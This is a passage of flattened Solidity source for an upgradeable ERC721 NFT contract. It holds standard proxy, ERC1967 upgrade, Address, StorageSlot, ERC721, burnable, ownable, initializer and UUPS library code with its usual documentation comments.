"Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } // The following functions are overrides required by Solidity. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721Upgradeable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, ERC2981Upgradeable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeacon.sol"; import "../../utils/Address.sol"; import "../../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Burnable_init_unchained(); } function __ERC721Burnable_init_unchained() internal initializer { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. 